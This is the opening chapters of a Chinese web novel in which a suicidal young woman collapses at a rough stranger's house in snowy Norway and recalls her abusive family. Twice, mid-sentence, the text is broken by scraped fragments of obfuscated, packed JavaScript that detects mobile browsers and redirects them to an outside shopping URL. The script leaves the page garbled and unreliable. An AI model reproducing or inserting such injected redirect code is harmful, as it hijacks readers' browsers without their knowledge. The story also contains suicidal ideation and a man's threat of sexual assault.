《叛逃图式》 1. 第 1 章 在一个暴风雪夜,我被挤进了沙丁鱼罐头。 按理说,我不大有资格振振有词地如此评价,但车腔内的空气实在拥挤,而我又无论如何都不中意窒息这一种死法,所以哪怕他们是热心肠的同胞,我也好心当作驴肝肺了。 “你的民宿在哪儿?我们直接给你送到门口!” 一时间毛细血管紧张地收缩了一下,幸好车窗外的漫天大雪非常适合撒谎。我不答反问:“你们呢?你们的民宿在哪儿?” “很近,六百米就到了。先把你安置好,我们才放心。” “我的远,偏僻,不过民宿主人会来接我,你们放我在那边的路牌就好,实在是感谢。” “真的?外面可冷,民宿主人来了吗?” “来了,那辆深绿色吉普车就是。” 我开窗向那边挥手,并对热心同胞们再次补充道:“真的太谢谢你们了,祝你们玩得开心。” “你也是!” 我站在蓝色路牌下目送好心人的车子开进黑夜,而那辆深绿色吉普车驾驶位的车窗缓缓落下,露出一张对我来说语言不通的脸,我扯了扯嘴角,展现在国际上绝对称得上友善的微笑,颔首道:“Sorry.” 当初我只是做了一个“北上”的决定,却不曾想走宽道路直径飞来了挪威,哪根指头是始作俑者在手机软件上定的机票我根本没印象,只记得安眠药药效发作前有一股□□的困意涌上心头。 总而言之,我孤苦伶仃地站在这片岛上纯粹是自作自受。如果把它视为一场梦游的话兴许多少能获取一些慰藉。梦境是没有计划的,所以不存在什么民宿,不存在落脚点。这种自娱自乐的节目我不想让其他能与我产生交流的同胞参与进来,所以我撒谎了。 我拽着行李箱沿着道路流浪,脚上那双花了我七十块人民币的便宜货雪地靴早早湿透。卖火柴的小女孩儿好歹有火柴吧,我箱里有七包泡面,其实啃啃眼前随便哪家红漆木房的房檐也是一样的。 定势思维一直让我以为现在是夜晚,直到我把两百克雪地靴走成两吨,路过好几家灯火通明的房子,才堪堪意识到此时的罗弗敦还未入夜。我用力吸了吸鼻子,涌上一股呛水般的酸涩感。这里不适合成为一个结尾。 也就是说,我还想往前走走,也许走到半途我和我的“巨额遗产”被雪埋,被流浪狗流浪猫当作冬日的午餐;也许我没入海洋,尸骨成为整个亚特兰蒂斯最碌碌无为的存在。这样一想,走到哪儿都无所谓,往前莽就对了。 朦胧之中,我好像真的把这趟先斩后奏的意外当成了爱丽丝梦游仙境,一心想找到现实世界没有的东西。挪威好美,雪是蓝色的,打在脸上几乎要吸走人的魂魄。风越呼啸越肃静,给我披上了壮士一去不复返的巾帼。我一时间变得热情高涨,仿佛划破次元和时空终于找到了能够让我大显身手的剧本。我相信这就是宿命,罗弗敦埋在我身上的大雪给予了我无与伦比的配得感。 强烈的信念感使我血液沸腾浑身发热,以至于我的眼神也异常好使,临近海域的山脚下有一座被吞进黑暗里的木屋,它分明死气沉沉,却伪装成正常人,我的意思是,正常屋子,一层红色外漆根本掩盖不住它的阴鸷。我对此心有灵犀。 为什么不开灯?这个地方的太阳本就偏心,你还不对自己好点儿,到哪儿说理去? 我一步一步迈着积雪走过去,心里不止说教。 咚,咚,咚。 我敲响了木门。 Excuseme.CanIstayhereforonenight? Excuseme…CanIstayhere…foronenight? 等待回应的同时,我在心里默默排练自己一字一句翻译出来的英文,不能叫人看了笑话,误会我们中国人不走国际化。我的脑子里有一团火,淬炼钢铁,一锤一声。 咚,咚,咚。 没人。难怪没开灯。这世上就他妈不存在需要我操心的事。 大雪好像弱了些,就在我纠结继续往前走还是给自己埋雪地里冷冻保鲜的时候,门竟然开了。 亲爱的,我没开玩笑,此时此刻一堵胸肌撞进了我的眼前。 失语的毛病在这一瞬间发作。我努力挣扎想张开嘴巴,却发现早已感应不到这个器官的存在。冰箱冷冻仓里死不瞑目的鲫鱼也是这种感受吗?定格的那一秒想的是氧气,还是冤情。 大脑断崖式关闸,我两眼一翻,笔直地倒了下去。我想,如果我往后倒兴许能瞥见那人的样貌,可惜我重心向前,最多最多,只能闻到他身上的烟酒味。 …… 我确认了,《卖火柴的小女孩》是一部写实文学。安徒生善用想象去诉说悲剧式幸福,小女孩在微弱的火柴光下出现走马灯暗示着生命的凋零,第二天人们怜悯的眼泪代表社会迟来的善意。可是,从头想一想,就算小女孩卖出了火柴又能如何呢?当她选择走进雪夜的那一刻,不就已经下了死亡的决心吗? 在倒下之前我突然找到了,我执念来到世界最北尽头的原因。活到现在,落在我身上的雪几乎没有。我出生在中国南部,受教育于风无雨阻的学校,刮台风时我想过天要塌了都不曾怀疑要下雪。有好几个冬天冷得可怕,南方许多的地方都下了雪,我的家乡总是不下,可当我去到另一个城市时,雪偏偏来了。反反复复几次轮回,我和雪永远擦肩而过。 我抓不住的东西有很多,例如抽奖从未中奖,连“再来一瓶”都只是听闻。但只有没看过雪这一件最令我不甘心,一怒之下我在降雪率百分百的时候来到了降雪率百分百的地方,埋也得埋进雪里。 走马灯替我破了一桩心事,与此同时我逐渐恢复知觉,感受到我的棺材竟是如此柔软且冰凉,并伴随一股黑咖啡的味道…… 咖啡?哪儿来的咖啡? 我支起眼皮,映入眼帘的是一片白漆天花板。众所周知,无论天堂还是地狱都不会有白漆天花板,所以我还活着。 喉咙像堵了火球似的说不出话来,四肢又如泡在冰窟里无法动弹。有没有一种可能,地狱真的存在白漆天花板呢。 我那姑且暖和一些的嗅觉试图寻找黑咖啡的源头,然而气味越来越浓,自己找上门来。我昏迷前闻到的烟酒味不是错觉,确有其人,但他煮咖啡的行为可以和我那经常宿醉的继母第二天造成醒来着急忙慌地泡养生枸杞茶不分上下——给腐烂的肉做保鲜。 一片阴影落在我的面庞,我也终于看清他的模样—— 一只沾染了北极狼血统的缅因猫。 从好久以前开始,我的眼睛总能将看到的东西联想到世界另一种事物上,细品起来还都非常有道理,我便乐此不疲地用这双照妖镜消遣能被我看见的一切。 他的毛发是银白色,包括眉毛和胡渣,如同暴风雪莅临旱天牧场,庄重华贵与粗鲁不羁竟能有条不紊地杂糅在一起。他的头发被剃得很短,鬓角看上去修理过一番,没有划伤的痕迹。我猜测,人在洗心革面的第一天都会变得非常心灵手巧。可他的眼神依旧肃穆昏沉,不像个真心悔过的人。一时半会儿改不掉习惯吧,我又猜测,毕竟我那继母喝枸杞的时候手里还转着开瓶器。 见我没什么反应,呆楞地凝视他,他倾下身子,将脸靠近我。他拥有一双深蓝色的眼珠,藏在皱起的眉头下,结构分明的眼窝中。我敢打赌昨晚若不是我昏倒在他家门口,这家伙能把自己的全部血管都灌满烈酒。由于鼻子闻到刺激性气味,我的眉头连带着身体扭动了一下。 “********?” 他开口说了一句话,我不知道什么意思,只能通过语调依稀判断出是个问句。于是我歪了歪头,目光懵懂。 他探究地看了我一会儿,顺势坐在我身下的沙发上,他的臀部几乎紧贴我的腰,像两块拼图。盖在我身上的毛毯被他压在下面,将我钉死。 我该庆幸我长得足够东方,他很快明白了只有通过英语以及肢体语言才能向我传达信息。他指了指我,又指了指门口,然后把手里那杯黑咖啡递到我的面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572851|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “Youjust,passedout,there.SoIheldyouin.Areyouokay?”他说。 我没接过咖啡,沉默地端凝着他。英语我听懂了,但我不会回答,我的语言系统是个二极管,只进不出。老实讲,我并非故意和他像拳击擂台赛的选手一样相互对视,这会儿我的脑袋瓜非常愚钝,做什么都慢半拍。他的蓝色眼睛十分剔透,我看得着迷。 忽热一双手在我眼前挡住了视线,他竟伸手捏住了我的脸。强烈的冷热温差让我不禁颤抖了一下,他像掰弄木偶人似的对我左看右看,观察我除了体温异常以外身上还有什么特殊的机关。 他边看边自顾自地解释,经二极管翻译后的大致意思是:你发烧了,就是它让你变成了傻子。你真幸运,碰上我还记得药在哪的时候。待着,保持清醒,如果你死在这里挪威的警察不会让我好过。 天老爷,我对他的误会大了。他绝非那类装模作样金盆洗手的伪善者,捡到我是他快活日子里的小插曲,清洗皮肤表面烟酒残留的痕迹仅仅出于一丝良心。要不是我听懂了他的嘟囔,就其掰弄我的脸这一举动来看,我极有可能成为他刀俎下的鱼肉,物理意义上的那种。 客厅与厨房静静隔着一个拐角,我掀开毛毯,发觉身上被雪标记过的衣物全都被脱下,只剩一件毛衣和……玫红色秋裤。我以为我心如死水了,但一想到他给我脱衣服时看到这条秋裤后退避三舍的样子,还是忍不住羞恼了一下。 我的行李原封不动的安置在茶几旁,上面是湿掉的衣服。很明显他看不上我的家当,更别说从中搜刮出我的个人信息。我的手机还在羽绒服外套的口袋里,仅剩百分之十的电量,掉电加速度提升得飞快,光是我解锁的功夫,它就从“10%”变成了“8%”。既然我来这什么准备也没做,手机自然巧妇难为无米之炊,既连不上网,也通不了电话。不过我也不需要那些功能,我只是在它苟延残喘的时候,拍下了窗外的雪景。 我赤脚绕过茶几,移步至厨房,没发出一点儿声响,他没发现我。他在翻箱倒柜地寻找药盒,并不如本人所说的那样记性好,翻出的都是些未拆封的意大利面和下酒用的膨化食品。但他怕我死在这里是真的,打开又关上柜门时飘出几句不耐烦的声音就是最好的证明。 地上很凉快,我盘腿就地坐了下来,同一时间他也蹲下来从下层的柜子找起。我盯了他好一会儿,那宽厚的背肌舒展又缩紧,我怀疑他曾经在拳击擂台上有相当可歌可泣的地位。 出于礼仪之邦的教养,我该上前跟他用英语说句:“Thankyou.”但随之而来的顾虑是,如果他因此误认为我是个英语交流高手就不妙了,毕竟我的口语词汇量和月球上的氧气一样少的令人窒息。 捉弄记忆的药盒终究是被他找到了,代价是地面变得非常凌乱,而他收拾地面的方式,就是粗鲁地把所有东西搬到桌面,拆东墙补西墙。他转过身,发现靠在拐角的我,面露一丝不理解。 “Whyareyouhere?”他说着,大步走过来,手指间还夹着药盒,轻轻松松地抬起我。我的嘎吱窝卡在他两只手上,活脱像个被撑衣杆顶上去的湿衣服。 我没有惊呼,只呆呆地看着他,安静得异常,像刚出生时气道堵塞的婴儿,令他匪夷所思地颠了两下。我被他转移至沙发,他又嘱咐了我一遍待好。他拿来一杯冷水和两颗胶囊,示意我喝下去。 发高烧是疾病界的公交车,大部分疾病都经过它。我盯着他递过来的退烧药发愣。我吃得药不少,但是别人递给我的药,我没吃过。 发愣,持续地发愣。 十分突兀地,他发出一声嗤笑,随后将两颗胶囊全都倒进自己嘴里,就水咽下,了不起的盖茨比一样向我举杯。 “......” 我傻了。他为什么自己吞了。 “Nowyoucantrustthatit''ssafe.” 现在你可以相信了,它是安全的。 2. 第 2 章 不是,我压根没怀疑过其中的危险性,我和饥寒交迫的野生动物们最大的不同,就是它们会对伸出援手的人类保持警惕,有考虑,再有选择,而我对人类已经到了疲于揣测的阶段,人没一个好的,那又怎样。 受此大礼我万万没有想到,好的,好的,再不吃下这两颗胶囊就是我不礼貌了。 见我好好地吞下药,他夸了我一句“好孩子”,不知道是不是在阴阳怪气,他总是不屑的神情让人不好判断。 “Whereareyoufrom?”他问道,双肘抵在膝盖上,只有用这个姿态才能跟我平视。接下来他尝试用多国语言和我打招呼。 “你好?こんにちは????????????Apakabar?”他肚子里的亚洲国家语言已经弹尽粮绝,眯眼瞧了我一会儿,接着用欧洲语言进行试探,“Здравствыйте?bonjour?hola?ciao?”他的语速越来越快,越来越没耐心。 我迟钝地点头,说出见面以来的第一句话:“你好……” 他又称我为“好孩子”,这回明显感觉到他在阴阳怪气。 他拿来笔记本电脑,坐在我身侧,沙发因此凹下去一大块,他是个十足的巨人。他在语言翻译器里输入一段文字,然后给我看: 「你来挪威旅游吗?」 真奇怪,他输入的是俄文,可这里是挪威,而且在此之前他同我说的一直是英语。我再去看那张缅因猫似的脸时,感觉上面混了一整个联合国。 我摇摇头。 他又输入: 「那么,你是来送死的吗?」 翻译器的文字总是温和有礼貌,或多或少将他的语言友善化,倘若说他第一句的开场白有一丝图文不符的违和感,和他仿佛参加过二战并且功勋一等的模样格格不入的话,那么这一句就令我感到无比舒畅。 我点点头。 他的眼神里浮现出更茂盛的质疑,没想到我会如此窝囊地认下他的挖苦。他上下打量我,最终停留在我的视线中央,与我对视。我非常有信心自己呆若木鸡的表情里不会泄漏什么秘密,他保证瞧不出任何名堂。 他又输入: 「为什么选择死在这里?」 这是个无法用是或否回答的问句,点头和摇头的动作都失去了作用,我没办法比划。他把笔记本转向我,让我像他一样打字回答。那一瞬间有一个无关紧要的想法乍现在我的脑海:要是我隔两个字插一句脏话,翻译器还能不能做到信达雅。 我抬起两只手,用两根食指,一个拼音一个拼音地敲。 「挪威有雪。」 我终究没敢放出那条猖狂的想法,想到什么,答了什么。 屋外积雪像被打了一剂麻醉而陷入不自然的沉寂,空气里不再飘荡能被人类眼睛所察觉的杂质,整个天空呈有层次的蓝色。屋内只剩轻微的键盘敲击声,两个人坐在深山洞窟里烧一把柴,讲不出任何话,只能移目跟踪飘出来的火星并等它炸掉。 他:「中国不下雪吗?」 我:「我在的地方从来不下雪。」 他:「那么你应该恨雪,而不是找一个全是雪的地方当坟墓。」 我:「我不恨雪,是雪恨我。」 他:「既然你决定去死了,昨晚为什么要敲门?」 我沉默了好一会儿,没办法再糊弄下去。如果是单纯想找一个与现实生活差距十万八千里的地方与世长辞,临终前又想看看这美丽的世界这种说法,连我自己都不肯买账。 我为什么敲门呢?我当时在想什么呢?根本想不起来。 原谅我,我的记忆力在我同时染上嗜睡和失眠两种病症的时候就已经变得乱七八糟了,对于遥远的画面和感受能够事无巨细地重现出来,而对于近来的情绪和想法常常忘却事出何因。 「我忘了。」 我如实回答,希望他不会认为我是那些被抓捕后供词漏洞百出的逃犯。我看见他将眉毛拉紧,双眼像威士忌里的冰块。毋庸置疑,我提供的无效信息令他失去了平和心。 他:「我会带你去警察局,或者把你送到大使馆。我没有时间和你一起玩逃离家乡的游戏。」 我:「你很忙吗?」 他:「是的,我正忙着杀人。」 我:「你很爱开玩笑。」 他:「我讨厌干涉别人的事务。」 我:「你讨厌多管闲事。」 他:「这就是我刚才说的。」 我:「那你平时喜欢做什么?」 角色在不知不觉中颠倒,我对他并没有很感兴趣,却还是乐此不疲地问一堆问题。我曾经有过一个外国网友,印度尼西亚女孩儿,是我和我爸一家去乌镇旅游时认识的,她拜托我用相机给她拍照,再用微信传给她。加上联系方式之初,我用替李华写过无数篇信的蹩脚英语水平夸赞她的美丽,她也夸我“cute”。那时候我好开心,一个劲地把课堂上学过的所有句式都用上,连“你最喜欢的食物是什么?”也一字一句地发送了出去。后来她很少回复我,但她的朋友圈总是每隔一小时就能够刷出新东西。我反思会不会是我话太啰嗦,不是在查户口式盘问就是无脑夸赞。经此反思,我花了两个小时的时间写了一段关于自己的生活,走在路上反复确认没有语法错误后,发送给她。事实证明,这是有用的,因为我立马就收到了她的回复: 「Idon’tcare.」 说没有一点失落肯定是假的,但我真的只失落了一下下,便马上上交手机坐上了去学校的公交车。 现在的我可不是在重蹈覆辙,这是我拖延时间的战术,除了这里我实在不知道接下来还能去哪儿。 「除了杀人。」我补充道。 他那张结实的面容里蕴含着相当可观的冷静和放荡,他按下快捷键切换输入法语言,手指迅速飞快地打出一长串回复: 「一般来说,我只对即将要和我上床的女人有点耐心,但不幸的是,我对你一点都不感兴趣。我允许你在温度下降之前在这里休息,明天一大早我就把你送去警察局,他们比我更懂怎么处理流浪者。」 我愣愣地看了屏幕好一会儿,那段汉字与我之间有堵坚硬透明的屏障,含义无法从那头穿过屏障到达这头。 眼看他马上要合上笔记本,我突然灵机一动,打字: 「我知道了,你喜欢喝酒、抽烟、还有和女人上床。」 他上一秒还在轻蔑,下一秒突然像个混账似的哈哈一笑。 「现在我对你有点兴趣了。」他写道。 我两眼一亮,希望仿佛就在眼前,我趁热打铁地写道:「明天不要把我送去警局,让我在这待一星期吧,就七天,求求你。」 七天够我想明白很多事情了,包括昨晚我为什么要敲门。更重要的是,我箱子里还有七包方便面。 然而事与愿违,那一笑并不代表他想收留一个烂摊子。 「不可能,这是我家,不是旅馆。」他心狠手辣地快刀斩乱麻。 我没有再纠缠,天也聊了,求也求了,抱着船到桥头自然直的想法把能做的都做了,我不是一个会对陌生人强买强卖的切糕老板。于是我转而询问能否在这里洗个热水澡,特地打了一连串的谢谢谢谢谢谢谢谢…… 我已经数不清这是他第几次用审视且怀疑的目光打量我了,好像我是什么网购残次品,令他付出了金钱和期待,结果令人大失所望还没有运费险,害得他不得不从我身上寻找可取之处以获取心理安慰。 他慢吞吞地单手在键盘上敲击,神情在看到自己输入的文字之后表现出一丝揶揄。 他写的是: 「这简直就是po.rn的经典桥段。」 我清楚他的意思,但仍旧不为所动。虽然从刚才到现在他以此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572852|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓唬我好几次,但我压根没感受到他对我产生了一丝兴趣。我反应迟钝且浑浑噩噩,和影片里将领口扯得很低,一边走猫步一边展示翘臀的女演员截然相反,很显然不是他的type。 “Well.”他耸了耸肩,略嫌弃我竟然油盐不进,随后起身带领我去浴室,把我丢在那儿,他便撒手不管了。 我环视一圈他的浴室,我敢打赌这是整座房子里唯一称得上清香的空间。沐浴露和洗发水是我看不懂的牌子,包装上的几片薄荷叶我倒是略懂一二。剃须刀被他随意地放在洗手台上,旁边有几根没清理干净的头发。他的生活比我想象得还要邋遢。 我原路返回去拿我的行李箱,发现他正仰躺在沙发上看书,垂下去的一只手拎着一杯色泽鲜明红里透黑的酒。他斜视睨了我一眼,说了一句疑似吐槽我的俄语,然后自顾自地看书。我轻声小心地拖动行李箱走开,找了块相对隐蔽的地方取出我的衣服。 热水洒在我的身上的那一瞬间我兴奋得想要原地跳舞,仿佛和太阳来了个皆大欢喜的拥抱。我干脆将自己缩成一团,全身赤裸扮演种子,任由热水从头顶浇灌下来。一束束长发被淋成水帘洞,从洞口间我注意到我的右脚脚背有一大片乌青,大拇指指甲盖里有一块像琥珀一样的淤血。 之前多亏了寒冷,疼痛暂时被雪藏,当下解冻以后我不禁掉了眼泪。 那个崽种个子小小力气不小,工业批发的大理石底料玉玺玩具砸在我身上的时候我恨不得放火烧山和他同归于尽,后悔只是扇了他一巴掌。 在他这个年纪(七岁左右吧,我不记得他是哪年出现的),我父母早就离婚了,他享受衣来伸手饭来张口的待遇不仅不满足还想着作威作福,就算长大了也是贪得无厌的社会败类。大多人对我好言相劝说别对一个孩子有那么大的恶意,我没肯定也没反驳,明明他们倾注在我身上的恶意比这多出一万倍。 我的生母相中了一个新加坡国籍的男人,离婚第二年就移居国外。我被判给了我的生父,一个离婚第二天就带另一个女人回家的败类。我以为他是终于得偿所愿娶真爱进门,两个月后继母腹部显怀我才知道是重蹈覆辙。 在那个年纪,被迫吸收太多伦理知识很容易摧毁一个孩子的认知系统。所以当我爸的牌友假装不经意地用手揽住我的肩头时,我直接大声开口问他有没有打算娶我。结果给那群人吓得够呛,只能哄堂大笑来掩饰尴尬。 还有我爸,老谋深算的倒霉蛋一个,又菜又爱做,继母刚进门时生下一个儿子后又闹出人命,结果“计划生育”响当当地砸在他头上,那时候他进退两难,看我的眼神别提有多老奸巨猾。第二胎自然是打掉了,继母倒也爽快,通情又达理还不忘在口头上卖我一个人情,死绿茶。 精彩的来了,后来发现那一胎根本就不是我爸的,是神奇的继母在某个KTV包厢里的皮质沙发上用啤酒催化出来的。真相大白的那天我爸看我的眼神终于多了一丝欣慰,好像在说:至少你肯定是我亲生的。 天老爷,我真的要起鸡皮疙瘩。 更令人拍手叫好的是,我爸最后没和那个酒鬼离婚,甚至又生了一个孩子(准是他的,他做过亲子鉴定),也就是前几天拿玩具砸我的崽种。可能他认为他们半斤八两,都一样烂,所以打算至死都捆绑在一起。至于他为什么这一次不怕计划生育的赔款了,那自然是因为成年的我已经被他迁出了户口本。我免费了。 想不完,我的身世根本想不完,枪林弹雨似的在我脑子里乱跳,乱蹦,叫嚣。那些东西无论我到哪里都不依不饶地折磨我,家里,职场里,地铁里,酒店里,前男友的卧室里,前女友的宿舍里,以及挪威陌生男人家的浴室里。 不知不觉我已经喝饱了洗澡水。 我站起身,这时两声清脆的叩门声从水雾中传来,门外响起没有感情AI女声: “不要在我的浴室里玩水。” 3. 第 3 章 “不要在我的浴室里玩水。” 他重复播放这句话,直到我关掉花洒他才作罢。我胡乱往自己身上抹沐浴露,头上抹洗发露,用他的牙刷刷牙,一股难以抑制的愤怒和躁动让我在短短的十分钟内大闹他的浴室。 可当我看见镜子里的自己拿着他的刮胡刀正准备往自己脸上怼时,像被泼了一盆冷水,迅速颓废下来。 真行,可真行,我又给旁人添麻烦了。 小心翼翼积攒功德的我好比“乌鸦喝水”故事里锲而不舍捡石子的乌鸦,最后发现瓶子被砸碎了,水渗透进沙子里一滴不剩。懊恼和愧疚铺天盖地地涌上来,我默默地帮他把浴室打扫干净,包括洗手台上残留的白色毛发。 湿答答的头发在我走过的地板上留下血珠一般的痕迹,我光着脚来到客厅,他依旧躺在那看书,懒散地抬起头看了我一眼,就那一眼,仿佛在蹙眉质问:那是我的东西。 我猜应该指的是耷拉在我脖子上的这条毛巾,于是卸下毛巾,给去一个十分抱歉的目光——不是为毛巾抱歉,是为在浴室里我侵犯了他的私人物品而抱歉。 他骂了一句脏话,愤懑地冲去浴室寻找能够指控我的罪证,我站在原地紧张地抠手指。 然而我想错了,他只是去拿吹风机了。 我盘坐在落地窗前吹头发,吵闹的轰鸣声替我偷偷摸摸的视线打掩护。他似乎很中意那本书,红色封皮,黑色字体,看得入迷,一字一句消化进肚里,再反刍,再吞下。我的头发吹得半干,那本书才被他嚼了半页。 屋子里并没有书架,那本书就像凭空出现在他手里的一样。我开始怀疑其中的合理性,他应该在野外捕猎,而不是在室内文质彬彬地看书。 我关掉吹风机,蹑手蹑脚地爬去沙发旁,探出一双好奇的眼睛想看看书的内容—— 全是俄文,像冷兵器一样。 他抬眸,额头被挤出两排抬头纹,因此我和那对深蓝色眼珠撞个正着。他晃了晃书,问:“*****?” 我理解为“你想不想看?”,我讷讷地摇头,顿了一下,又点头。 他把书丢给我,坐起来呷了一口酒,拖沓着拖鞋去解手了。 这本书每隔几页就有一个折痕,他才看到全书的四分之一不到。我慢吞吞地抚摸感受书皮的手感,凑近嗅了嗅,颠来倒去摆弄了一番,结果还是没挖掘出这本书的迷人之处。 头顶传来一声冷笑,我抬头,发现他半边屁股坐在沙发靠背上,无所事事地观察了我良久。 我连忙举起书投降,使劲地对他摇头,表明我对他的珍宝别无二心。 他若有所思的沉默让我捉摸不透,下一秒他冲我打了个响指,一抬腿从后面跨过沙发,轻车熟路地抬起沙发坐垫。 原来沙发就是他的书架,哦不,确切地说是他的杂物箱,里面什么都有。 他埋下身子翻找,找出两本图册,还有一包速食火腿片。他撇着嘴看保质期,随后点点头,大发慈悲地递给我。 “……” 我没法不收下,在看到那包火腿片时我的肚子像被戳破的气球一样突然瘪下去,饥饿感令我抓狂。 我夺过来,撕开包装狼吞虎咽地吃下一片,嘴里有味道了才体会到活着的感觉。面前是他用来打发我的两本图册,我放慢咀嚼速度,一边闲情雅致地翻阅图册,一边吃着全是添加剂的火腿片。 这些花里胡哨的图册不可能是他特地买的,封面明晃晃地贴着旅行社的旗标,一张张精修过的笑脸和商业logo交相辉映,肯定是他在路上随便要了哪家旅行社的宣传册当坐垫来的。我没得挑,目前来看,以图片为主的旅游广告册子是我能看懂的最高级消遣。 仿佛回到了幼年时期去商场蹭公共娱乐设施的年纪,那时候广场上有一面播放各种广告和电影预告片的大屏幕,我趴在商家门口的充气招牌娃娃身上盯着屏幕发呆,百无聊赖地脑补故事的全貌。此时此刻也是一样,光凭几张挪威旅行社的宣传照片,我已经开始擅自脑补它们滚动起来的样子。 可惜,想象无法超越认知,有很多我脑补不出来的画面。很快,我陷入了完美主义者的纠结,为我的美梦出现一大段空白而焦灼。 我挪着屁股贴近沙发,戳了戳他的手臂,确保引起他的注意之后指了指图册上的照片:那是足足占满两张内页纸的极光图,紫绿色绸带飘在空中,虚无缥缈的流影往下坠,像是天老爷写错字又胡乱擦拭的手笔。海面倒映出极光的形状,玄幻胜似潜伏着的尼斯湖水怪。 “****?”他问。 我虔诚地点头,尽管不知道他什么意思。 “*****?”他又问。 我又点头,毫不犹豫地。管他呢,必须让他知道我想看活的极光的强烈决心。 “*******。”他说。 我还是点头,已经豪横到语言不通也无法阻止的地步。 “……”他沉默片刻,拿出手机将摄像头对准我,然后将上一句话重复了一遍,等待我的反应。 他一定是理解错了我的意思,我哪里是想拍照,就算合影当然也要和真的极光合影,和死板的照片合影用我的证件照就够了,不需要我本人亲自出马。 我在他面前狠狠地指照片企图解除误会,可惜他那榆木脑袋倔犟地举着手机不放,并且硬要我对他的话作出反应,不断地在摄像头后面引导我。寡不敌众,孤单的我敌不过精神力赛十八罗汉的他,鬼使神差地跟着他点了点头。 得逞的笑在他脸上显得十分狡诈,他万事大吉地往后一靠,终于舍得用翻译器翻译给我听: “你刚刚承认了,你和我没有任何关系。” 我歪头,不懂他在高兴什么,至少从这段翻译中我听不懂哪一点值得让人快乐。 要知道,讲冷笑话的人最忌惮脑子不好使的听众,像清蒸鱼头那样干瞪着个眼简直是世界上最扫兴的事情。所以他笑容逐渐僵硬,皱眉打字。 “书呆子小姐,你应该知道,警察看完这段视频后,你再也无法勒索我。。” 智能翻译器在他手上用词也变得十分汹涌。然后呢?他想看我计谋破灭后的震惊和懊悔,包括对他英明决断的佩服和嫉妒? 我摸上他的手机,软绵绵地夺过来(仍旧怀有愧疚心),诚恳地予以回复:「我本来就没有打算勒索你。你也本来就和我没有任何关系。」 细看他的头发,与其以偏概全地归为白色,不如说是烤焦了浸湿了又晒干的白灰色。他的鬓角与下巴粗糙,根残留在里面,这使得他的哼声更加冷漠。 “我要把你踢出去。” 幸好有翻译器帮忙过滤掉脏话,不然我无法这样心情愉快。 我:「那你还得给我拖回来。」 他:“我会用雪埋了你,你和死鱼一个下场。” 我:「你刚刚看的是什么书?」 他:“我们在讨论如何让你滚出我家。” 我:「现在开始讨论你刚刚看的是什么书。」 他被我惹恼,一举托起我的身体抛到沙发上,雷厉风行地盖上毛毯,食指指着我命令一通,见我听不懂,一边骂一边咬牙打字: “和你这样的傻瓜说话只会浪费我的时间。现在你立刻闭上眼睛睡觉,不要说太多废话,否则我立马在这里上了你,立马。” 我还想去拿他的手机,但他没给我机会,反将我伸过去够手机的手恶狠狠地捏住,塞进毛毯下。我就这样失去发言权。 他临走时把客厅的灯全关了,拉上窗帘,不留一点光亮给我。我半张脸缩进毛毯,一双细腻的耳朵偷听他的举动。 他粗鲁地咳了两声,随后喝水(也可能是酒),随后点烟,随后被来电铃声吸引,随后接起电话。对话语言是英语,让我推测实际上他根本不会讲挪威语,来这里也是滥竽充数。 对面是个女人。我如此肯定并非听力好到能听见手机那头的声音,而是听懂了他骂人,无比顺口的一句“shutf**kupyoub**ch”,然后第二句像布利卡瀑布一样倾泻直下。我听得聚精会神,依靠狗血推理能力查漏补缺,还原故事的原貌。 对方是他曾经的相好,或者说小情人,西方人喜 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一直到后半夜(也许,我感知时间的能力一向很弱),我仍旧清醒着。我以为他会打呼,毕竟在我所知晓的像他这么高这么壮的男性中,没有一个不会打呼,不是雷声轰轰就是磨刀工,可是他没有打呼,卧室陷入死一半的寂静。 我悄悄地坐起来,蹑手蹑脚地爬过去点亮小台灯,这是我刚刚不声不响开发出来的成就,一眼看到了哪个是台灯开关。我重新拿起图册,在昏黄的灯光下饮鸩止渴,看看极光的照片解解馋。 放古代当皇帝我准一昏君,当宦官我准一死脑筋,当妃子我准一三集杀青炮灰,当平民我准一疯癫范进。我的脑子时常被“执念”所挟持,如果办不到,我浑身刺挠。总而言之,我对极光一见钟情了,我想见上它一面。 我看了许久,从沙发上看到地上,从趴着看到仰着,最后跪着缩在毛毯里看。我真觉得天国就该是那样的,周围的背景全黑,只有几条绿光紫光构成道路,摔下去万劫不复。 “HEY.” !!! 背后突然出现一道低沉沙哑的声音,我吓了一跳,汗毛齐刷刷地站立。他把我从沉浸式幻想中拽了出来,我楚楚可怜地看过去。天老爷,我正上头呢。 他伸手摸我的额头,然后掰过台灯的光源直直照我的脸庞,开始不留余地批斗我。 “很好,你仍然在发烧,如果你再不睡觉,那个药对你来说就是一坨屎。”明明他想用什么语言批斗我就用什么语言批斗我,偏偏在不知情的情况下选中了我能听懂的大白话英语。 我不免为自己申冤,指了指沙发,摇摇头——我睡不着。 他鄙夷地看了看我,摸出手机:「不喜欢沙发就去外面睡。」 我:「我的意思是,我睡不着。」 他:「当然,你昨晚晕倒,然后立刻不知疲倦地睡了超过17个小时。」 我:「所以我现在能不睡吗?」 他收起手机,在我眼前放大他那张脸冷酷无情地通知我:“NO.” 在他的监视下我只能重新躺进沙发,而他丝毫没有离开的迹象——这家伙恐怕是要盯着我睡觉,防止我二度爬起来浪费他家水电资源。 